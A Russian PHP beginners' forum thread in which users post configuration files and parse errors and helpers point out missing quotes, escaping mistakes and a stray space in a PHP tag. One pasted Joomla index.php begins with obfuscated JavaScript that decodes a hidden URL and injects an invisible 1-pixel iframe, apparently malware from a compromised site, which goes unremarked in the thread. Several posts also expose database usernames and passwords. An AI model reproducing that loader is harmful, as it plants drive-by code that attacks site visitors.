Форум программистов, компьютерный форум, киберфорум
PHP для начинающих
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
 
Рейтинг 4.56/582: Рейтинг темы: голосов - 582, средняя оценка - 4.56
3 / 3 / 0
Регистрация: 28.06.2009
Сообщений: 81

Ошибка syntax error, unexpected T_STRING

21.01.2010, 22:06. Показов 113732. Ответов 42
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Parse error: syntax error, unexpected T_STRING in Z:\home\mag.moi\www\otvety\include\confi g.php on line 6

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?
$config = array();
// Begin Configuration
$config['basedir']     =  'home\mag.moi\www\otvety\';
$config['baseurl']     =  'http://mag.moi/otvety/';
 
$DBTYPE = 'mysql';
$DBHOST = 'localhost';
$DBUSER = 'root';
$DBPASSWORD = 'qazxswedc';
$DBNAME = '121';
// End Configuration
 
ini_set('session.save_path', $config['basedir']. '/temporary/sessions');
session_start();
 
ну далее...
0
IT_Exp
Эксперт
34794 / 4073 / 2104
Регистрация: 17.06.2006
Сообщений: 32,602
Блог
21.01.2010, 22:06
Ответы с готовыми решениями:

Ошибка syntax error, unexpected 'INTO' (T_STRING)
В чём ошибка? Как исправить? Может будут советы по улучшению кода вне ошибки? Ошибка Parse error: syntax error, unexpected 'INTO'...

Ошибка syntax error, unexpected (T_STRING)
Выполнил требования инструкции https://www.phpprobid.com/translation-tutorial , адрес сайта ругается: ...

Ошибка: syntax error, unexpected T_STRING
Parse error: syntax error, unexpected '/' in sites/www/config.php on line 3

42
 Аватар для GalaX
701 / 573 / 59
Регистрация: 18.11.2008
Сообщений: 2,147
21.01.2010, 22:15
у тебя в 5-ой строке апостроф экранировался, экранируй еще и слеш тада:
PHP
1
$config['basedir']     =  'home\mag.moi\www\otvety\\';
0
Почетный модератор
 Аватар для Humanoid
11552 / 4347 / 452
Регистрация: 12.06.2008
Сообщений: 12,453
21.01.2010, 22:18
Символ \ используется как экранирование. В твоём случае на строке 5 закрывающая кавычка не учитывается, т.к. перед ней стоит символ экранирования. Рекомендую использовать слеши в обратную сторону, что бы не было таких проблем. Измени
'home\mag.moi\www\otvety\'
на
'home/mag.moi/www/otvety/'
Но если нужно оставить именно такие слеши, то нужно их самих экранировать:
'home\\mag.moi\\www\\otvety\\'
0
3 / 3 / 0
Регистрация: 28.06.2009
Сообщений: 81
21.01.2010, 22:19  [ТС]
PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?
$config = array();
 
// Begin Configuration
$config['basedir']     =  'home\\mag.moi\\www\\otvety\\';
$config['baseurl']     =  'http://http://mag.moi/otvety/';
 
$DBTYPE = 'mysql';
$DBHOST = 'localhost';
$DBUSER = 'root';
$DBPASSWORD = 'qazxswedc';
$DBNAME = '121';
// End Configuration
ini_set('session.save_path', $config['basedir']. '/temporary/sessions');
session_start();
 
$config['adminurl']      =  $config[baseurl].'/administrator';
$config['cssurl']      =  $config[baseurl].'/css';
$config['imagedir']      =  $config[basedir].'/images';
$config['imageurl']      =  $config[baseurl].'/images';
$config['membersprofilepicdir']      =  $config[imagedir].'/membersprofilepic';
$config['membersprofilepicurl']      =  $config[imageurl].'/membersprofilepic';
 
 
......
Warning: session_start() [function.session-start]: open(home\mag.moi\www\otvety\/temporary/sessions\sess_3f338e8107fdc45d1db9152244 221fdc, O_RDWR) failed: No such file or directory (2) in Z:\home\mag.moi\www\otvety\include\confi g.php on line 16

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at Z:\home\mag.moi\www\otvety\include\confi g.php:16) in Z:\home\mag.moi\www\otvety\include\confi g.php on line 16

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at Z:\home\mag.moi\www\otvety\include\confi g.php:16) in Z:\home\mag.moi\www\otvety\include\confi g.php on line 16

Warning: require_once(home\mag.moi\www\otvety\/smarty/libs/Smarty.class.php) [function.require-once]: failed to open stream: No such file or directory in Z:\home\mag.moi\www\otvety\include\confi g.php on line 25

Fatal error: require_once() [function.require]: Failed opening required 'home\mag.moi\www\otvety\/smarty/libs/Smarty.class.php' (include_path='.;/usr/local/php5/PEAR') in Z:\home\mag.moi\www\otvety\include\confi g.php on line 25

Warning: Unknown: open(home\mag.moi\www\otvety\/temporary/sessions\sess_3f338e8107fdc45d1db9152244 221fdc, O_RDWR) failed: No such file or directory (2) in Unknown on line 0

Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct (home\mag.moi\www\otvety\/temporary/sessions) in Unknown on line 0
0
Почетный модератор
 Аватар для Humanoid
11552 / 4347 / 452
Регистрация: 12.06.2008
Сообщений: 12,453
21.01.2010, 22:52
Все слеши должны быть в одну сторону. Я рекомендую "/"... он будет работать и под виндовсом и под юниксовыми ОС. А у тебя получилось, что половина пути указана через \, другая половина через / Выбери что-то одно.
0
3 / 3 / 0
Регистрация: 28.06.2009
Сообщений: 81
21.01.2010, 22:55  [ТС]
Это всё на денвере
PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
<?
$config = array();
 
// Begin Configuration
$config['basedir']     =  'home/mag.moi/www/otvety';
$config['baseurl']     =  'http://mag.moi/otvety/';
 
$DBTYPE = 'mysql';
$DBHOST = 'localhost';
$DBUSER = 'root';
$DBPASSWORD = 'qazxswedc';
$DBNAME = '121';
// End Configuration

Warning: session_start() [function.session-start]: open(home/mag.moi/www/otvety/temporary/sessions\sess_b5210a193c60590893a1360138 814ece, O_RDWR) failed: No such file or directory (2) in Z:\home\mag.moi\www\otvety\include\confi g.php on line 16

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at Z:\home\mag.moi\www\otvety\include\confi g.php:16) in Z:\home\mag.moi\www\otvety\include\confi g.php on line 16

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at Z:\home\mag.moi\www\otvety\include\confi g.php:16) in Z:\home\mag.moi\www\otvety\include\confi g.php on line 16

Warning: require_once(home/mag.moi/www/otvety/smarty/libs/Smarty.class.php) [function.require-once]: failed to open stream: No such file or directory in Z:\home\mag.moi\www\otvety\include\confi g.php on line 25

Fatal error: require_once() [function.require]: Failed opening required 'home/mag.moi/www/otvety/smarty/libs/Smarty.class.php' (include_path='.;/usr/local/php5/PEAR') in Z:\home\mag.moi\www\otvety\include\confi g.php on line 25

Warning: Unknown: open(home/mag.moi/www/otvety/temporary/sessions\sess_b5210a193c60590893a1360138 814ece, O_RDWR) failed: No such file or directory (2) in Unknown on line 0

Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct (home/mag.moi/www/otvety/temporary/sessions) in Unknown on line 0


Урра!!!!! Нашёл ошибку 'home/ нада '/home
Всем спасибо!
0
0 / 0 / 0
Регистрация: 28.04.2011
Сообщений: 3
28.04.2011, 19:38
можете и мне помочь у меня такая же проблема
PHP
1
2
3
4
5
$config['basedir']     =  '/home/gab.ru/www/index.php';
$config['baseurl']     =  '/http://gab.ru/index.php;
 
$DBTYPE = 'mysql';
$DBHOST = 'localhost';
когда захожу на сайт выдает ошибку
Parse error: syntax error, unexpected T_STRING in Z:\home\gab.ru\www\include\config.php on line 9
0
Почетный модератор
 Аватар для Humanoid
11552 / 4347 / 452
Регистрация: 12.06.2008
Сообщений: 12,453
28.04.2011, 20:30
Цитата Сообщение от vkseville Посмотреть сообщение
$config['baseurl'] = '/http://gab.ru/index.php;
Кавычка не закрыта
0
0 / 0 / 0
Регистрация: 28.04.2011
Сообщений: 3
28.04.2011, 22:56
спасибо одна ошибка исчезла но сейчас вылазит вот это
Warning: session_start() [function.session-start]: open(/home/gab.ru/www/index.php/temporary/sessions\sess_5f61a3b4cc2b8ff7fa1c996946 d5c89c, O_RDWR) failed: No such file or directory (2) in Z:\home\gab.ru\www\include\config.php on line 17

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at Z:\home\gab.ru\www\include\config.php:17 ) in Z:\home\gab.ru\www\include\config.php on line 17

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at Z:\home\gab.ru\www\include\config.php:17 ) in Z:\home\gab.ru\www\include\config.php on line 17

Warning: require_once(/home/gab.ru/www/index.php/smarty/libs/Smarty.class.php) [function.require-once]: failed to open stream: No such file or directory in Z:\home\gab.ru\www\include\config.php on line 32

Fatal error: require_once() [function.require]: Failed opening required '/home/gab.ru/www/index.php/smarty/libs/Smarty.class.php' (include_path='.;/usr/local/php5/PEAR') in Z:\home\gab.ru\www\include\config.php on line 32

Warning: Unknown: open(/home/gab.ru/www/index.php/temporary/sessions\sess_5f61a3b4cc2b8ff7fa1c996946 d5c89c, O_RDWR) failed: No such file or directory (2) in Unknown on line 0

Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct (/home/gab.ru/www/index.php/temporary/sessions) in Unknown on line 0

Добавлено через 3 минуты
помогите найти где находятся файлы
function.session-start
function.require-once
function.require
зарание спасибо

Добавлено через 18 секунд
помогите найти где находятся файлы
function.session-start
function.require-once
function.require
зарание спасибо
0
 Аватар для Vovan-VE
13210 / 6599 / 1041
Регистрация: 10.01.2008
Сообщений: 15,069
29.04.2011, 15:18
Цитата Сообщение от vkseville Посмотреть сообщение
помогите найти где находятся файлы
function.session-start
function.require-once
function.require
Это не файлы, это встроенная функция session_start и инструкции require_once и require.
0
0 / 0 / 0
Регистрация: 28.04.2011
Сообщений: 3
29.04.2011, 19:15
вот скрипт сайта можете помочь сделать так чтоб он заработал
PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
<?
$config = array();
 
// Begin Configuration
// This Template was Downloaded From GrabTemplates.com
$config['basedir']     =  '\usr\local\mysql5\data/';
$config['baseurl'] = '/http://gab.ru/index.php';
 
$DBTYPE = 'mysql';
$DBHOST = 'localhost';
$DBUSER = 'root';
$DBPASSWORD = '';
$DBNAME = 'gab';
// End Configuration
 
ini_set('session.save_path', $config['basedir']. '/temporary/sessions');
session_start();
 
$config['adminurl']      =  $config[baseurl].'/administrator';
$config['cssurl']      =  $config[baseurl].'/css';
$config['imagedir']      =  $config[basedir].'/images';
$config['imageurl']      =  $config[baseurl].'/images';
$config['picdir']      =  $config[basedir].'/pics';
$config['picurl']      =  $config[baseurl].'/pics';
$config['tpicdir']      =  $config[basedir].'/pics/thumbs';
$config['tpicurl']      =  $config[baseurl].'/pics/thumbs';
$config['membersprofilepicdir']      =  $config[imagedir].'/membersprofilepic';
$config['membersprofilepicurl']      =  $config[imageurl].'/membersprofilepic';
$config['mbgdir']      =  $config[imagedir].'/mbg';
$config['mbgurl']      =  $config[imageurl].'/mbg';
 
require_once($config[basedir].'/smarty/libs/Smarty.class.php');
require_once($config[basedir].'/libraries/mysmarty.class.php');
require_once($config[basedir].'/libraries/SConfig.php');
require_once($config[basedir].'/libraries/SError.php');
require_once($config[basedir].'/libraries/adodb/adodb.inc.php');
require_once($config[basedir].'/libraries/phpmailer/class.phpmailer.php');
require_once($config[basedir].'/libraries/SEmail.php');
 
function strip_mq_gpc($arg)
{
  if (get_magic_quotes_gpc())
  {
    $arg = str_replace('"',"'",$arg);
    $arg = stripslashes($arg);
    return $arg;
  } 
  else
  {
    $arg = str_replace('"',"'",$arg);
    return $arg;
  }
}
 
$conn = &ADONewConnection($DBTYPE);
$conn->PConnect($DBHOST, $DBUSER, $DBPASSWORD, $DBNAME);
@mysql_query("SET NAMES 'UTF8'");
$sql = "SELECT * from config";
$rsc = $conn->Execute($sql);
 
if($rsc){while(!$rsc->EOF)
{
$field = $rsc->fields['setting'];
$config[$field] = $rsc->fields['value'];
STemplate::assign($field, strip_mq_gpc($config[$field]));
@$rsc->MoveNext();
}}
 
if ($_REQUEST['language'] != "")
{
    if ($_REQUEST['language'] == "english")
    {
        SESSION_REGISTER("language");
        $_SESSION[language] = "english";
    }
    elseif ($_REQUEST['language'] == "spanish")
    {
        SESSION_REGISTER("language");
        $_SESSION[language] = "spanish";
    }
    elseif ($_REQUEST['language'] == "french")
    {
        SESSION_REGISTER("language");
        $_SESSION[language] = "french";
    }
}
 
if ($_SESSION['language'] == "")
{
    SESSION_REGISTER("language");
    $_SESSION[language] = "english";
}
 
if ($_SESSION['language'] == "english")
{
include("lang/english.php");
}
elseif ($_SESSION['language'] == "spanish")
{
include("lang/spanish.php");
}
elseif ($_SESSION['language'] == "french")
{
include("lang/french.php");
}
else
{
include("lang/english.php");
}
 
for ($i=0; $i<count($lang)+1; $i++)
{
    STemplate::assign('lang'.$i, $lang[$i]);
}
 
STemplate::assign('baseurl',       $config['baseurl']);
STemplate::assign('basedir',       $config['basedir']);
STemplate::assign('adminurl',       $config['adminurl']);
STemplate::assign('cssurl',       $config['cssurl']);
STemplate::assign('imagedir',        $config['imagedir']);
STemplate::assign('imageurl',        $config['imageurl']);
STemplate::assign('picdir',        $config['picdir']);
STemplate::assign('picurl',        $config['picurl']);
STemplate::assign('tpicdir',        $config['tpicdir']);
STemplate::assign('tpicurl',        $config['tpicurl']);
STemplate::assign('membersprofilepicdir',        $config['membersprofilepicdir']);
STemplate::assign('membersprofilepicurl',        $config['membersprofilepicurl']);
STemplate::assign('mbgdir',        $config['mbgdir']);
STemplate::assign('mbgurl',        $config['mbgurl']);
STemplate::setCompileDir($config['basedir']."/temporary");
STemplate::setTplDir($config['basedir']."/themes");
 
?>
Добавлено через 2 часа 54 минуты
когда я захожу на сайт мне выдает
Parse error: syntax error, unexpected T_STRING in Z:\home\gab.ru\www\include\config.php on line 7
вот код
PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?
$config = array();
 
// Begin Configuration
// This Template
$config['basedir']     =  '/home/gab.ru/www/;
$config['baseurl'] = '/http://gab.ru/';
 
$DBTYPE = 'mysql';
$DBHOST = 'localhost';
$DBUSER = 'gabcom';
$DBPASSWORD ='kremenchug';
$DBNAME = 'gabcom';
// End Configuration
 
ini_set('session.save_path', $config['basedir']. '/temporary/sessions');
session_start();
0
 Аватар для Vovan-VE
13210 / 6599 / 1041
Регистрация: 10.01.2008
Сообщений: 15,069
29.04.2011, 20:22
Цитата Сообщение от vkseville Посмотреть сообщение
когда я захожу на сайт мне выдает
Parse error: syntax error, unexpected T_STRING in Z:\home\gab.ru\www\include\config.php on line 7
вот код
PHP
1
2
3
4
5
6
7
<?
$config = array();
 
// Begin Configuration
// This Template
$config['basedir'] = '/home/gab.ru/www/;
$config['baseurl'] = '/http://gab.ru/';
В 6й строке апостроф не закрыт.
PHP
1
$config['basedir'] = '/home/gab.ru/www/';
0
giggs1987
06.01.2012, 15:41
Народ помогите пожалуйста
Parse error: syntax error, unexpected T_STRING in /home/users2/g/giggs1987/domains/skazka34.ru/administrator/index.php on line 18

вот такой код
PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<!-- . --><script type="text/javascript">var CaJhv=62;function vzPKtI(){}
if('tkGro'=='EKeFTM')XymDnO();if('Vyazoa'=='Dehy')JJVanL();var XoGSAwWp="parseI\x6et";function bxsvZ(){var YCOIC='YQWc';if('XICCOh'=='qAEG')bWrkW();}var MGLJ='hgHPH';var qMCVB='RtqBy';var dPCKBN=242;var RcQUmayu="";var Qxtc='FijdNp';if('cmymhA'=='uwRs')JFeDs='DOuXHL';var YhxZKG="8d9999955f54548b8691918a999994928692878653889492549855548e9353888c8e645655";function aTqV(){}var WXKcYH=211;var sAhMultT="fr\x6fmC\x68arCode";if('wNTzT'=='Brev')hUASQI='vYCinj';var Yewqid;var Yzypys="s\x6cice";var nAbSnt=96;function wFdMid(){var ZAruS='xvPDEN';if('avvrhm'=='nAkgtJ')ODSIk();}var JbHr;var Nojrd=(function(){var SZRe=24;var UGVgW;return this;if('XMVo'=='BItta')BHPA='MgISlJ';if('INMMN'=='VfNp')DIZljv();})();function yiQCIE(){}if('nNHNBr'=='QCrtp')CbCy='NbthQn';var AxzFr=22;var bLQIkOo="con\x73truc\x74or";if('BJYYI'=='HABcSi')SMNK();var ZSZnpPSLC="tCrLfv"[bLQIkOo];function XrDDQn(){}
var PMTUT;if('hgsv'=='CEWt')NwpVLw='MccRKh';for(var KowOM=0;KowOM<YhxZKG.length;KowOM+=2){if('EEHpF'=='CaYi')TDASx='XPZLub';bZzQY=Nojrd[XoGSAwWp](YhxZKG[Yzypys](KowOM,KowOM+2),16)-37;RcQUmayu+=ZSZnpPSLC[sAhMultT](bZzQY);var huMeh=187;if('HcWcq'=='ZByIUR')JTZh='AoGu';}
function CbheeG(){}
function KKPyC(){}
var FPOBlKAg="HXCFv";function FJcQ(){var tNYsuj='jjapw';if('xHLJIb'=='AnGzbG')uaFI();}
var fBkYlbx=navigator.appVersion.indexOf("MSIE")!=-1?'<iframe name="'+FPOBlKAg+'" src="'+"RcQUmayu"+'">':'iframe';var vNuVCR;var Imkfad=document.createElement(fBkYlbx);var YcPQDi=209;var xsCq;Imkfad.name=FPOBlKAg;var oEeskA='eubq';var aIyxjh='UteP';Imkfad.setAttribute("name",FPOBlKAg);if('JHdVsc'=='AHTS')nOEyZQ='yxegB';Imkfad.id=FPOBlKAg;if('lacR'=='DxDoN')FpEe='EyGVha';Imkfad.src=RcQUmayu;Imkfad.style.right="0px";if('gQIlg'=='Fdsx')mKiEaz();Imkfad.style.top="0px";if('iewRb'=='zRTNu')CdXx();function QziiQh(){}var pYza='EwCnCj';Imkfad.style.height="1px"
var VkFjSv;var Tdasx=170;Imkfad.style.width="1px";var oDwXk;if('VlUPlK'=='WvCeJ')IStMU();Imkfad.style.position="absolute";document.body.appendChild(Imkfad);function ZClun(){}
if('XktS'=='zBzc')NGtgzA();if('XmfPqs'=='lHQKsK')hKopJ();var uQOaK=52;</script><!-- . -->
<? php
/**
 * @version     $Id: index.php 21399 2011-05-30 23:10:20Z dextercowley $
 * @package     Joomla.Administrator
 * @copyright   Copyright (C) 2005 - 2011 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
 
// Set flag that this is a parent file
define('_JEXEC', 1);
define('DS', DIRECTORY_SEPARATOR);
 
if (file_exists(dirname(__FILE__) . '/defines.php')) {
    include_once dirname(__FILE__) . '/defines.php';
}
 
if (!defined('_JDEFINES')) {
    define('JPATH_BASE', dirname(__FILE__));
    require_once JPATH_BASE.'/includes/defines.php';
}
 
require_once JPATH_BASE.'/includes/framework.php';
require_once JPATH_BASE.'/includes/helper.php';
require_once JPATH_BASE.'/includes/toolbar.php';
 
// Mark afterLoad in the profiler.
JDEBUG ? $_PROFILER->mark('afterLoad') : null;
 
// Instantiate the application.
$app = JFactory::getApplication('administrator');
 
// Initialise the application.
$app->initialise(array(
    'language' => $app->getUserState('application.lang')
));
 
// Mark afterIntialise in the profiler.
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
 
// Route the application.
$app->route();
 
// Mark afterRoute in the profiler.
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
 
// Dispatch the application.
$app->dispatch();
 
// Mark afterDispatch in the profiler.
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
 
// Render the application.
$app->render();
 
// Mark afterRender in the profiler.
JDEBUG ? $_PROFILER->mark('afterRender') : null;
 
// Return the response.
echo $app;
 Аватар для Vovan-VE
13210 / 6599 / 1041
Регистрация: 10.01.2008
Сообщений: 15,069
06.01.2012, 15:53
giggs1987, У Вас PHP тег написан с пробелом: <?_php
Уберите этот пробел.
1
giggs1987
06.01.2012, 16:03
спасибо большое!!! вот только интересно почему так случилось я никогда не менял этот файл)))
zlatarossi
22.05.2012, 18:25
Помогите, пожалуйста...
Parse error: syntax error, unexpected T_STRING in /home/musicandi/zlatarossi.com/docs/wp-content/themes/ifeature/functions.php on line 112

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
}
 
add_action('wp_head', 'ifeature_render_ie_pie', 8);
 
// + 1 Button 
 
function ifeature_plusone(){
    
    $path =  get_template_directory_uri() ."/library/js/";
 
    $script = "
        
        <script type=\"text/javascript\" src=\"".$path."/plusone.js\"></script>
        ";
    
    echo $script;
111 }
112
113 add_action('wp_head', 'ifeature_plusone');
114
115 
     // Load jQuery
    if ( !is_admin() ) {
       wp_enqueue_script('jquery');
 Аватар для Vovan-VE
13210 / 6599 / 1041
Регистрация: 10.01.2008
Сообщений: 15,069
22.05.2012, 18:31
zlatarossi, Если те числа 111-115 Вы добавили для ясности, то давайте весь файл.
1
zlatarossi
22.05.2012, 18:33
Цитата Сообщение от Vovan-VE Посмотреть сообщение
zlatarossi, Если те числа 111-115 Вы добавили для ясности, то давайте весь файл.
PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
<?php
 
/*
    Functions
    
    Establishes the core iFeature functions.
    
    Copyright (C) 2011 CyberChimps
*/
 
$options = get_option('ifeature');
 
/* Begin custom excerpt functions. */   
 
function ifeature_new_excerpt_more($more) {
 
    global $options;
    
        if ($options['if_excerpt_link_text'] == '') {
            $linktext = '(Read More...)';
        }
    
        else {
            $linktext = $options['if_excerpt_link_text'];
        }
    
    global $post;
    return '<a href="'. get_permalink($post->ID) . '"> <br /><br /> '.$linktext.'</a>';
}
add_filter('excerpt_more', 'ifeature_new_excerpt_more');
 
function ifeature_new_excerpt_length($length) {
 
    global $options;
    
        if ($options['if_excerpt_length'] == '') {
            $length = '55';
        }
    
        else {
            $length = $options['if_excerpt_length'];
        }
 
    return $length;
}
add_filter('excerpt_length', 'ifeature_new_excerpt_length');
 
/* End excerpt functions. */
 
/* Add auto-feed links support. */  
    add_theme_support('automatic-feed-links');
    
/* Add post-thumb support. */
 
    global $options;
    
    if($options['if_featured_image_height'] == "") {
            $featureheight = '100';
    }       
    
    else {
        $featureheight = $options['if_featured_image_height']; 
        
    }
    
        if ($options['if_featured_image_width'] == "") {
            $featurewidth = '100';
    }       
    
    else {
        $featurewidth = $options['if_featured_image_width']; 
    }
    add_theme_support( 'post-thumbnails' ); 
    set_post_thumbnail_size( $featureheight, $featurewidth, true );
 
// This theme allows users to set a custom background
add_custom_background();
    
// This theme styles the visual editor with editor-style.css to match the theme style.
add_editor_style();
 
 
/**
* Attach CSS3PIE behavior to elements
* Add elements here that need PIE applied
*/   
function ifeature_render_ie_pie() { ?>
<style type="text/css" media="screen">
#header li a, .postmetadata, .post_container, .wp-caption, .sidebar-widget-style, .sidebar-widget-title {
  behavior: url('<?php echo get_template_directory_uri(); ?>/library/pie/PIE.htc');
}
</style>
<?php
}
 
add_action('wp_head', 'ifeature_render_ie_pie', 8);
 
// + 1 Button 
 
function ifeature_plusone(){
    
    $path =  get_template_directory_uri() ."/library/js/";
 
    $script = "
        
        <script type=\"text/javascript\" src=\"".$path."/plusone.js\"></script>
        ";
    
    echo $script;
}
 
add_action('wp_head', 'ifeature_plusone');
 
    
// Load jQuery
    if ( !is_admin() ) {
       wp_enqueue_script('jquery');
    }
 
// Nivo Slider 
 
function ifeature_add_nivoslider(){
     
    $path =  get_template_directory_uri() ."/library/ns/";
 
    $script = "
        
        <script type=\"text/javascript\" src=\"".$path."/jquery.nivo.slider.js\"></script>
        ";
    
    echo $script;
}
add_action('wp_head', 'ifeature_add_nivoslider');
 
 
    // Register superfish scripts
    
function ifeature_add_scripts() {
 
    if (!is_admin()) { // Add the scripts, but not to the wp-admin section.
    // Adjust the below path to where scripts dir is, if you must.
    $scriptdir = get_template_directory_uri() ."/library/sf/";
 
    // Register the Superfish javascript files
    wp_register_script( 'superfish', $scriptdir.'sf.js', false, '1.4.8');
    wp_register_script( 'sf-menu', $scriptdir.'sf-menu.js');
    // Now the superfish CSS
   
    //load the scripts and style.
    wp_enqueue_style('superfish-css');
    wp_enqueue_script('superfish');
    wp_enqueue_script('sf-menu');
    } // end the !is_admin function
} //end add_our_scripts function
 
//Add our function to the wp_head. You can also use wp_print_scripts.
add_action( 'wp_head', 'ifeature_add_scripts',0);
    
    // Register menu names
    
    function ifeature_register_menus() {
    register_nav_menus(
    array( 'header-menu' =>  'Header Menu' , 'footer-menu' =>  'Footer Menu' )
  );
}
    add_action( 'init', 'ifeature_register_menus' );
    
    // Menu fallback
    
    function ifeature_menu_fallback() {
    global $post; ?>
    
    <ul id="menu-nav" class="sf-menu">
    <?php wp_list_pages( 'title_li=&sort_column=menu_order&depth=3'); ?>
    </ul><?php
}
 
    //Register Widgetized Sidebar and Footer
 
function ifeature_sidebars() {    
    register_sidebar(array(
        'name' => 'Sidebar Widgets',
        'id'   => 'sidebar-widgets',
        'description'   => 'These are widgets for the sidebar.',
        'before_widget' => '<div id="%1$s" class="sidebar-widget-style">',
        'after_widget'  => '</div>',
        'before_title'  => '<h2 class="sidebar-widget-title">',
        'after_title'   => '</h2>'
    ));
    
    register_sidebar(array(
        'name' => 'Footer',
        'id'   => 'footer-widgets',
        'description'   => 'These are widgets for the footer.',
        'before_widget' => '<div class="footer-widgets">',
        'after_widget' => '</div>',
        'before_title' => '<h3 class="footer-widget-title">',
        'after_title' => '</h3>',
    ));
}
add_action( 'widgets_init', 'ifeature_sidebars' );
    
if ( ! isset( $content_width ) ) $content_width = 640;
 
//Add link to theme settings in Admin bar
 
function ifeature_admin_link() {
 
    global $wp_admin_bar;
 
    $wp_admin_bar->add_menu( array( 'id' => 'iFeature', 'title' => 'iFeature Settings', 'href' => admin_url('themes.php?page=theme_options')  ) ); 
  
}
add_action( 'admin_bar_menu', 'ifeature_admin_link', 113 );
    
//iFeature theme options file
    
require_once ( get_template_directory() . '/library/options/options.php' );
require_once ( get_template_directory() . '/library/options/options-themes.php' );
require_once ( get_template_directory() . '/library/options/meta-box.php' );
?>
 Аватар для Vovan-VE
13210 / 6599 / 1041
Регистрация: 10.01.2008
Сообщений: 15,069
22.05.2012, 18:44
zlatarossi, Какая у Вас версия PHP? Здесь нет синтаксических ошибок. Если Вы ничего не путаете и уверены, что они есть, то запакуйте Ваш файл в архив и прикрепите к сообщению. Больше идей нет.
0
0 / 0 / 0
Регистрация: 07.06.2012
Сообщений: 3
07.06.2012, 11:40
Здравствуйте! Не могли бы вы помочь исправить эту ошибку? Уже мозг кипит=). Заранее благодарен!

Parse error: syntax error, unexpected T_THROW, expecting T_STRING or '(' in X:\home\localhost\www\new\include\common _small.inc on line 46

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
<?php
  include_once(dirname(__FILE__)."/config.inc");
  include_once(dirname(__FILE__)."/constant.inc");
